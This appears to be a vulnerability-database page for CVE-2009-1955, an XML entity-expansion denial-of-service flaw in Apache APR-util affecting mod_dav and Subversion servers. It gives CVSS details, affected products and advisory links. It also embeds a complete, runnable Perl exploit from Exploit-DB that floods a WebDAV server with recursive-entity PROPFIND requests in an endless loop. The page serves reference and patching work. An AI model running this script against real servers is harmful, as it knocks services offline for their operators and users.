CVE-2009-1955 : Detail

CVE-2009-1955

7.5
/
High
A05-Security Misconfiguration
33.54%V3
Network
2009-06-06
16h00 +00:00
2021-06-06
08h07 +00:00
CVE.org
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CVE Descriptions

The expat XML parser in the apr_xml_* interface in xml/apr_xml.c in Apache APR-util before 1.3.7, as used in the mod_dav and mod_dav_svn modules in the Apache HTTP Server, allows remote attackers to cause a denial of service (memory consumption) via a crafted XML document containing a large number of nested entity references, as demonstrated by a PROPFIND request, a similar issue to CVE-2003-1564.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-776 Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
The product uses XML documents and allows their structure to be defined with a Document Type Definition (DTD), but it does not properly control the number of recursive definitions of entities.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 8842

Publication date : 2009-05-31
22h00 +00:00
Author : kingcope
EDB Verified : Yes

###furoffyourcat.pl ### Apache mod_dav / svn Remote Denial of Service Exploit ### by kcope / June 2009 ### ### Will exhaust all system memory ### Needs Authentication on normal DAV ### ### This can be especially serious stuff when used against ### svn (subversion) servers!! Svn might let the PROPFIND slip through ### without authentication. bwhahaaha :o) ### use at your own risk! ################################################################## use IO::Socket; use MIME::Base64; sub usage { print "Apache mod_dav / svn Remote Denial of Service Exploit\n"; print "by kcope in 2009\n"; print "usage: perl furoffyourcat.pl <remotehost> <webdav folder> [username] [password]\n"; print "example: perl furoffyourcat.pl svn.XXX.com /projects/\n";exit; } if ($#ARGV < 1) {usage();} $hostname = $ARGV[0]; $webdavfile = $ARGV[1]; $username = $ARGV[2]; $password = $ARGV[3]; $|=1; $BasicAuth = encode_base64("$username:$password"); chomp $BasicAuth; my $sock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => 80, Proto => 'tcp'); print $sock "PROPFIND $webdavfile HTTP/1.1\r\n"; print $sock "Host: $hostname\r\n"; print $sock "Depth: 0\r\n"; print $sock "Connection: close\r\n"; if ($username ne "") { print $sock "Authorization: Basic $BasicAuth\r\n"; } print $sock "\r\n"; $x = <$sock>; print $x; if (!($x =~ /207/)) { while(<$sock>) { print; } close($sock); print "No PROPFIND on this server and path.\n"; exit(0); } $a = ""; for ($i=1;$i<256;$i++) { # Here you can increase the XML bomb count $k = $i-1; $a .= "<!ENTITY x$i \"&x$k;&x$k;\">\n" } $igzml = "<?xml version=\"1.0\"?>\n" ."<!DOCTYPE REMOTE [\n" ."<!ELEMENT REMOTE ANY>\n" ."<!ENTITY x0 \"foobar\">\n" .$a ."]>\n" ."<REMOTE>\n" ."&x$k;\n" ."</REMOTE>\n"; print "Apache mod_dav / svn Remote Denial of Service Exploit\n"; print "by kcope in 2009\n"; print "Launching DoS Attack...\n"; $ExploitRequest = "PROPFIND $webdavfile HTTP/1.1\r\n" ."Host: $hostname\r\n" ."Depth: 0\r\n"; if ($username ne "") { $ExploitRequest .= "Authorization: Basic $BasicAuth\r\n"; } $ExploitRequest .= "Content-Type: text/xml\r\nContent-Length: ".length($igzml)."\r\n\r\n" . $igzml; while(1) { again: my $sock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => 80, Proto => 'tcp') || (goto again); print $sock $ExploitRequest; print ";Pp"; } # milw0rm.com [2009-06-01]

Products Mentioned

Configuraton 0

Apache>>Apr-util >> Version To (excluding) 1.3.7

Configuraton 0

Apple>>Mac_os_x >> Version To (excluding) 10.6.2

Configuraton 0

Suse>>Linux_enterprise_server >> Version 9

Configuraton 0

Debian>>Debian_linux >> Version 4.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 6.06

Canonical>>Ubuntu_linux >> Version 8.04

Canonical>>Ubuntu_linux >> Version 8.10

Canonical>>Ubuntu_linux >> Version 9.04

Configuraton 0

Fedoraproject>>Fedora >> Version 9

Fedoraproject>>Fedora >> Version 10

Fedoraproject>>Fedora >> Version 11

Configuraton 0

Oracle>>Http_server >> Version -

Configuraton 0

Apache>>Http_server >> Version From (including) 2.2.0 To (excluding) 2.2.12

References

http://secunia.com/advisories/35487
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2009/dsa-1812
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.vupen.com/english/advisories/2009/1907
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/35444
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=apr-dev&m=124396021826125&w=2
Tags : mailing-list, x_refsource_MLIST
http://www.mandriva.com/security/advisories?name=MDVSA-2009:131
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/35360
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2010/1107
Tags : vdb-entry, x_refsource_VUPEN
http://www.openwall.com/lists/oss-security/2009/06/03/4
Tags : mailing-list, x_refsource_MLIST
http://secunia.com/advisories/35395
Tags : third-party-advisory, x_refsource_SECUNIA
http://www-01.ibm.com/support/docview.wss?uid=swg1PK99478
Tags : vendor-advisory, x_refsource_AIXAPAR
http://secunia.com/advisories/35284
Tags : third-party-advisory, x_refsource_SECUNIA
http://www-01.ibm.com/support/docview.wss?uid=swg1PK91241
Tags : vendor-advisory, x_refsource_AIXAPAR
http://secunia.com/advisories/36473
Tags : third-party-advisory, x_refsource_SECUNIA
http://www-01.ibm.com/support/docview.wss?uid=swg1PK88342
Tags : vendor-advisory, x_refsource_AIXAPAR
http://secunia.com/advisories/35843
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2009-1108.html
Tags : vendor-advisory, x_refsource_REDHAT
http://marc.info/?l=bugtraq&m=129190899612998&w=2
Tags : vendor-advisory, x_refsource_HP
http://secunia.com/advisories/35797
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-200907-03.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.ubuntu.com/usn/usn-786-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/34724
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/37221
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/35565
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2009/3184
Tags : vdb-entry, x_refsource_VUPEN
https://www.exploit-db.com/exploits/8842
Tags : exploit, x_refsource_EXPLOIT-DB
http://marc.info/?l=bugtraq&m=129190899612998&w=2
Tags : vendor-advisory, x_refsource_HP
http://www.mandriva.com/security/advisories?name=MDVSA-2013:150
Tags : vendor-advisory, x_refsource_MANDRIVA
http://secunia.com/advisories/35710
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/35253
Tags : vdb-entry, x_refsource_BID
http://www.redhat.com/support/errata/RHSA-2009-1107.html
Tags : vendor-advisory, x_refsource_REDHAT
http://support.apple.com/kb/HT3937
Tags : x_refsource_CONFIRM
http://www.ubuntu.com/usn/usn-787-1
Tags : vendor-advisory, x_refsource_UBUNTU